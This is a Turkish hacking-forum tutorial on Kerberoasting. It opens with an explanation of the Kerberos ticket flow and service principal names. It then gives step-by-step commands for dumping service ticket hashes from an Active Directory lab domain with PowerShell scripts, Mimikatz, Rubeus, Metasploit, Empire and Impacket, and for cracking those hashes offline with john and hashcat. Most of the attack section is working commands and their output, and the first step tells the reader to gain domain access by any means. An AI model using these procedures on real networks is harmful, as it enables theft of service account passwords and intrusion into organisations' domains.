Kerberoasting Saldırısı Derin İnceleme

Tommy Angelo

Yeni üye
25 Nis 2020
19
0
Bu makalede, kerberoasting saldırılarını ve Kerberos kimlik doğrulamasını kötüye kullanmanın diğer çoklu yöntemlerini tartışacağız. Ancak bundan önce, Kerberos kimlik doğrulamasının istemci-sunucu iletişimi arasında nasıl çalıştığını anlamanız gerekir.

"Kerberos yetkilendirme için değil kimlik doğrulama içindir, bu açık, kerberoasting sağlar”

İçindekiler

BÖLÜM A: Kerberos Kimlik Doğrulama Akışı

*Kerberos ve Ana Bileşenleri
*İletileri Kullanarak İş Akışı

BÖLÜM B: Hizmet Prensibi Adı SPN

*Hizmet Prensibi Adı SPN
*Önemli Noktalar
*SPN Sözdiziminin Dört Öğesi Vardır
*SPN Türü

BÖLÜM C: Kerberoasting Saldırısı Yönergesi

*Kerberoasting Nedir
*Kerberoasting Ana Adımları

*BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü
*PowerShell Komutu
*Mimikatz

*BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü
*Rubeus.exe
*ps1 PowerShell Komutu

*BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit

*BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit
*Impacket


BÖLÜM A: Kerberos Kimlik Doğrulama Akışı

Kerberos ve Ana Bileşenleri

Kerberos protokolü, istemcilerin bir ağ kimlik doğrulama hizmeti ile nasıl etkileşime girdiğini tanımlar.İstemciler Kerberos Anahtar Dağıtım Merkezi'nden (KDC) bilet alırlar ve bağlantılar kurulduğunda bu biletleri uygulama sunucularına gönderirler.Varsayılan olarak UDP bağlantı noktası 88 kullanır ve simetrik anahtar şifreleme sürecine bağlıdır.

"Kerberos bir kullanıcının kimliğini doğrulamak için bilet kullanır ve ağ üzerinden parola göndermeyi tamamen önler"

Kerberos kimlik doğrulamasında tüm kimlik doğrulama işleminde önemli bir rol oynayan bazı önemli bileşenler vardır.

0.png


İletileri Kullanarak İş Akışı

Active Directory etki alanında, her etki alanı denetleyicisinde Kerberos için tüm bilet isteklerini işleyen bir KDC (Kerberos Dağıtım Merkezi) hizmeti çalışır.Kerberos biletleri için AD, AD etki alanındaki KRBTGT hesabını kullanır.
Aşağıdaki resim, KDC'NİN sunucu ve istemci ile tüm işlem arasında güvenli bir bağlantı kurmada oynadığı ana rolün, yukarıdaki tabloda tanımlandığı gibi bazı özel bileşenler kullandığını göstermektedir.

1.png


Yukarıda belirtildiği gibi, Kerberos şifreleme ve şifre çözme için simetrik şifreleme kullanır.Daha fazla ayrıntıya girelim ve şifreli mesajların birbirine nasıl gönderildiğini anlamaya çalışalım.
Hash'ları ayırt etmek için 3 renk kullanırız:

*BLUE _KEY: User NTLM HASH
*YELLOW_KEY: Krbtgt NTLM HASH
*RED_KEY: Service NTLM HASH

Adım 1:İstek mesajını KDC'YE göndererek istemci, iletişimi şu şekilde başlatır:

1.KRB_AS_REQ (Aşağıdakileri İçerir):


*Kimlik doğrulaması yapılacak istemcinin kullanıcı adı.
*Hizmet SPN (Hizmet Asıl Adı) Krbtgt hesabı ile bağlantılıdır.
*Şifreli Bir Zaman Damgası (Locked with User Hash: Blue Key)

Tüm ileti, kullanıcının kimliğini doğrulamak ve yeniden oynatma saldırılarını önlemek için Kullanıcı NTLM hashı (Mavi anahtarla Kilitli) kullanılarak şifrelenir.

Adım 2: KDC, kullanıcı kimliğini doğrulayan bir mesajın şifresini çözmek için Users/Krbtgt/Services hashlarından oluşan bir veritabanı kullanır (mavi anahtarla kilidi açılır).

Daha sonra KDC, Krbtgt hash (Sarı anahtarla kilitli) ve User Hash kullanarak bazı şifreli mesajlar kullanılarak şifrelenmiş bir istemci için TGT (bilet verme bileti) üretecektir.

2.KRB_AS_REP (Aşağıdakileri İçerir):

*Kullanıcı Adı
*Bazı şifreli veriler,(Locked with User Hash: Blue Key) şunları içerir:
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi

*TGT,(Locked with Krbtgt Hash: Yellow Key) şunları içerir:

*Kullanıcı Adı
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC

2.png


Adım 3: KRB_TGT, istemci makinenin Kerberos tray'inde (bellek) depolanır, çünkü kullanıcı zaten TGS isteği için kendini tanımlamak için kullanılan KRB_TGT'YE sahiptir.İstemci, şifreli verilerle birlikte TGT'NİN bir kopyasını KDC'YE gönderdi.

3.KRB_TGS_REQ şunları içerir:

*Oturum anahtarı ile şifrelenmiş veriler
*Kullanıcı Adı
*Zaman Damgası

*TGT
*İstenen Hizmetin SPN'Sİ, Örneğin SQL Hizmeti

Adım 4: KDC, KRB_TGS_REQ mesajını alır ve TGT'yi doğrulamak için Krbtgt hashı kullanarak mesajın şifresini çözer (Sarı anahtar kullanılarak kilidi açılır), daha sonra KDC, istenen hizmet hashı (Kırmızı anahtarla kilitli) ve kullanıcı hashını kullanarak, bazı şifreli mesajlar kullanılarak şifrelenen KRB_TGS_REP olarak bir TGS'ye döndürür.

4.KRB_TGS_REP şunları içerir:

*Kullanıcı Adı
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Hizmet Oturum Anahtarı

*TGS'nin Sona Erme Tarihi
*TGS,(Service Hash:RED Key) şunları içerir:
*Hizmet Oturum Anahtarı
*Kullanıcı Adı
*TGS'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC

3.png


Adım 5: Kullanıcı TGS kopyasını uygulama sunucusuna gönderdi,

5.KRB_AP_REQ şunları içerir:

*TGS
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Kullanıcı Adı
*Zaman Damgası(Tekrar Saldırılarından kaçınmak için)

Adım 6: Uygulama, NTLM hashını kullanarak iletinin şifresini çözmeye ve isteğe bağlı bir durum olan, kullanıcı ayrıcalığını tanımlamak için KDC'DEN PAC'Yİ doğrulamaya çalışır.

Adım 7: KDC, PAC'yi doğrular (isteğe bağlı)

Adım 8: Kullanıcının hizmete belirli bir süre erişmesine izin verin.

4.png


BÖLÜM B: Hizmet Prensibi Adı SPN

Hizmet Prensibi Adı

Hizmet Prensibi Adı (SPN), bir hizmet örneği için benzersiz bir tanımlayıcıdır.Active Directory Etki Alanı Hizmetleri ve Windows, bir istemcinin, bir hizmeti doğruladığı Kerberos mekanizmasının temel bileşenleri olan hizmet prensibi adları (Spn'ler) için destek sağlar.

Önemli Noktalar

1.Bir hizmetin birden çok örneğini bir forest boyunca bilgisayarlara yüklerseniz, her örneğin, SPN'si olmalıdır.
2.Kerberos kimlik doğrulama hizmeti bir hizmetin kimliğini doğrulamak için bir SPN kullanmadan önce SPN'nin hesapta kayıtlı olması gerekir.
3.Belirli bir SPN, sadece bir hesapta kaydedilebilir.
4.Bir SPN, kayıtlı olduğu forest'da benzersiz olmalıdır.
5.Benzersiz değilse, kimlik doğrulama başarısız olur.

SPN Sözdiziminin Dört Öğesi Vardır

5.png


SPN Türü:

*AD'DEKİ bilgisayar hesabıyla ilişkili ana bilgisayar tabanlı Spn'ler, her 30 günde bir değiştirilen, 128 karakter uzunluğunda rastgele bir şifre oluşturur, bu nedenle Kerberoasting saldırılarda kullanılmaz.
*NTLM hash kullanılacak bir etki alanı kullanıcı hesabı ile ilişkili SPN'ler.

BÖLÜM C: Kerberoasting Saldırısı Yönergesi

Kerberoasting Nedir?

Kerberoasting, brute force uygulama hizmetleri hash şifresini ayıklamak için, bir saldırganın RC4 ile şifrelenen KRB_TGS biletini çalmasına izin veren bir tekniktir.

Yukarıda açıklandığı gibi, Kerberos, verilen hizmet prensibi adları (SPN'ler) için KRB_TGS biletini şifrelemek için istenen hizmetin NTLM hash'ını kullanır.Bir etki alanı kullanıcısı, SPN kayıtlı olan herhangi bir hizmet için etki alanı denetleyicisi KDC'ye TGS bileti isteği gönderdiğinde KDC, istenen hizmete karşı kullanıcı yetkilendirmesini tanımlamadan KRB_TGS oluşturur.

Bir saldırgan,bilet RC4'TE servis hesabının NTLM hash'ı ile şifrelendiğinden servis hesabının parolasına brute force uygulamak için bu bileti çevrimdışı olarak kullanabilir.

Kerberoasting Ana Adımları

Bu saldırı, aşağıda verildiği gibi birden fazla adımı olan bir işlemdir:

6.png


Adım 0:Etki alanı ağının istemci sistemine Hook veya Crook ile erişin.

Adım 1:Kayıtlı SPN'yi keşfedin veya tarayın.

Adım 2:Mimikatz veya başka bir araç kullanarak keşfedilen SPN için TGS bileti talep edin.

Adım 3:.kirbi, ccache veya servis hash'ına sahip olabilecek TGS biletini dampingleyin(bazı durumlarda).

Adım 4:.kirbi veya ccache dosyasını cracklenebilir bir biçime dönüştürün.

Adım 5:Brute Force Saldırısı için sözlük kullanın.

Ana bilgisayarda veya uzak sistemde eski ve yeni Kerberoasting gibi 2 saldırı kategorimiz vardır.

Eski Prosedür:Bunlar, birden çok Kerberoasting adımının gerçekleştirildiği tekniklerdir.

Yeni Prosedür:Bunlar Kerberoasting için kullanılan tek adımlı tekniklerdir.

BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü

Yöntem 1:powerShell Komutu

Adım 1:SPN Keşfi

Buradan, ana makineden “Find-PotentiallyCrackableAccounts.ps1” ve “Export-PotentiallyCrackableAccounts.ps1” dosyasını indirin.Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.

Kod:
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts

7.png


Başka bir PowerShell komutu "GetUserSPns. ps1" buradan indirin, kullanıcı hesaplarını kullanan SPN'leri keşfetmek için etki alanını sorgulayacaktır,aşağıdaki komut yardımıyla SPN adını bulduğumuzu gözlemleyebilirsiniz.

Kod:
.\GetUserSPns .ps1

Modülü PowerShell'e aktarın, burada SQL hizmeti için SPN'yi numaralandırdım.

8.png


Adım 2:TGS_ticket'ı ayıklayarak ve dampingleyerek, hash elde edin.

KRB_TGS'İ ana bilgisayar belleğinin içinden “tgscipher.ps1” adlı başka bir PowerShell komutu yardımıyla çıkarmaya çalışıyorum. buradan indirebilir ve aynı anda istek çıktısını John formatına dönüştürebilirsiniz.

Kod:
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John

Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.

9.png


Adım 3: Brute Force Hash

Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command.

Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes

10.png


Ve SQL hizmeti için bir şifre alarak başarılı bir Kerberoasting saldırısı yaptık.

Yöntem 2:Mimikatz

Benzer şekilde, tüm saldırı için Mimikatz'ı kullanabilirsiniz, bu da SPN keşfi ve TGS biletini dampinglemek için kullanılabileceği anlamına gelir.

Adım 1:SPN Keşfi

Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.

Kod:
./mimikatz.exe
kerberos::list

11.png


Adım 2:TGS Bileti Dumplamak

.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.

Kod:
kerberos::list /export

12.png


Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek

Elde edilen dosyanın adını “1-40a5000…..kirbi”'den “raj.kirbi” olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yöntem 1'deki gibi john'u brute force için kullanın.

Kod:
mv "1-40a5000…..kirbi" "raj.kirbi"
/usr/share/john/kirbi2john.py raj.kirbi > kirbihash
john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash

13.png


BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü

Yöntem 1:Rubeus.exe

Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)

Rebeus.exe, aşağıdaki komutun yardımıyla hizmet hash'ı damplayan, TGS ayıklayan ve SPN keşfeden bir Kerberoast modülüyle gelen muhtelem bir araçtır.

Kod:
./Rubeus.exe kerberoast /outfile:hash.txt

14.png


Adım 2:Brute Force Hash

Hizmet hash'ını, "hash.txt" metin belgesine kaydettik. Hash'a brute force uygulamak ve hashcat aracını kullanarak hizmet şifresini ayıklamak için bir sözlük kullanın.

Kod:
hashcat -m 13100 --force -a 0 hash.txt dict.txt

Sonuç olarak, hizmetin şifresini çıkardığımızı gözlemleyebilirsiniz.

16.png


Yöntem 2:Kerberoast PowerShell Komutu

Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)

Kerberoast. ps1, yukarıdaki modüle benzer bir PowerShell komutudur, SPN'yi keşfeder, TGS ayıklar ve hizmet hash'ı dumplar, aşağıdaki komutun yardımıyla yapılabilir.

Kod:
Import-Module .\Invoke-kerberoast.ps1
Invoke-kerberoast

Hizmet hash'ını aldıktan sonra şifreye brute force uygulamak için yukarıdaki yöntemi izleyin.

Adım 2:Brute Force Hash


Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.

17.png


BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü

Yöntem 1:Métasploit

1.Meterpreter Üzerinden PowerShell Komutu

Adım 1:SPN Keşfi

Yerel makinenize “Find-PotentiallyCrackableAccounts.ps1” ve “Export-PotentiallyCrackableAccounts.ps1”'i indirin ve meterpreter oturumu aracılığıyla ana makineye upload edin, ardından komut dosyasını uzaktan çalıştırmak için PowerShell'i çalıştırın.

18.png


Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.

Kod:
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts

19.png


Yerel makinenize Report.csv'yi indirin.

20.png


Report.csv dosyası ana sistemde bulunan SPN'leri listeleyecektir.

21.png


SetSPN-SPN Keşif Programı

Başka bir yöntem, ana makineyle uzlaşarak meterpreter oturumu elde edin ve PowerShell'i yükleyin.Etki alanındaki tüm SPN'leri listelemek için setspn programını kullanın.

Kod:
setspn -T ignite -Q */*

22.png


Görebileceğiniz gibi yine SQL Hizmeti için SPN'yi keşfettik.

23.png


Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi

PowerShell komut dosyasını “TGSCipher.ps1 " upload edin ve aynı anda istek çıktısını John formatına dönüştürün.

Kod:
Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John


Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.

24.png


Adım 3:Brute Force Hash

Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.

31.png


2.Métasploit Üzerinden Mimikatz

Ana sistemin meterpreter oturumuna sahip olduktan sonra mimikatz.exe'yi upload etmeyi deneyebilirsiniz ve sonra bölüm C Bölüm 1'de açıklanan tüm adımları gerçekleştirin.

26.png


Adım 1:SPN Keşfi

Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.

Kod:
./mimikatz.exe
kerberos::list

Adım 2:TGS Biletini Dumplamak

.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.

Kod:
kerberos::list /export

27.png


Kirbi dosyasını yerel makinenize indirerek cracklenebilir biçime dönüştürün.

28.png


Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek

Elde edilen dosyanın adını “1-40a5000…..kirbi”'den “raj.kirbi” olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yukarıdaki gibi john'u brute force için kullanın.

Kod:
mv "40a5000.....kirbi" "local.kirbi"
/usr/share/john/kirbi2john.py local.kirbi > localhash
john -–wordlist=/usr/share/wordlists/rockyou.txt localhash

29.png


Yöntem 2:powerShell Empire

Adım 1:SPN keşfi,setspn kullanın, yukarıdaki yöntemi izleyin (bu modülde isteğe bağlı)

Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi

Empire aracına sahip olduğunuzda,TGS bileti için .kirbi format dosyasını ayıklayacak olan aşağıdaki modülü çalıştırın.

Kod:
usemodule credential/mimikatz/extract_tickets
execute

30.png


Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek

tgscrack.py, .kirbi formatını cracklenebilir formata dönüştüren özel bir python komutudur.Buradan indirin ve aşağıdaki komutları çalıştırın.

Kod:
mv [kirbi_file] [new.kirbi]
python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash
go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt

25.png



BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü

Yöntem 1:powerShell Empire

Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)

Empire/agent'a sahip olduktan sonra, invoke_kerberoast modülünü yükleyin, SPN keşfettiği, bilet ayıkladığı ve hizmet hash'ını TGS şifresinin içinden boşalttığı için harika bir modüldür.

Kod:
usemodule credentials/invoke_kerberoast
execute

Gördüğünüz gibi hizmet hash'ını saniyeler içinde dumpladı.

Adım 2:Brute Force Hash

Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.

32.png


Yöntem 2:Métasploit

Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)

Eğer métasploit arayüzünü seviyorsanız, bir meterpreter oturumu aldıktan sonra PowerShell'i yükleyebilir ve kerberoast.ps1 komutunu upload edebilirsiniz.

Kod:
powershell_import /root/powershell/Invoke-kerberoast.ps1
powershell_execute Invoke-Kerberoast

Adım 2:Brute Force Hash

Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.

33.png


Yöntem 3:Impacket

Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)

Impacket dahili modülü “GetUSerSPNs.py” kullanın.Bu, hizmet hash'ı dumplayan, TGS ayıklayan ve SPN keşfeden bir python komutudur.Aşağıdaki komutun yardımıyla yapılabilir.

Kod:
./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika

Hizmet hash'ını dumplayacaktır.Sözlüğün de yardımıyla hizmet şifrelerini ayıklamak için brute force uygulayabilirsiniz.

34.png


Adım 2:Brute Force Hash

Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.

Kod:
john –wordlist=/usr/share/wordlists/rockyou.txt hashes

35.png






 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.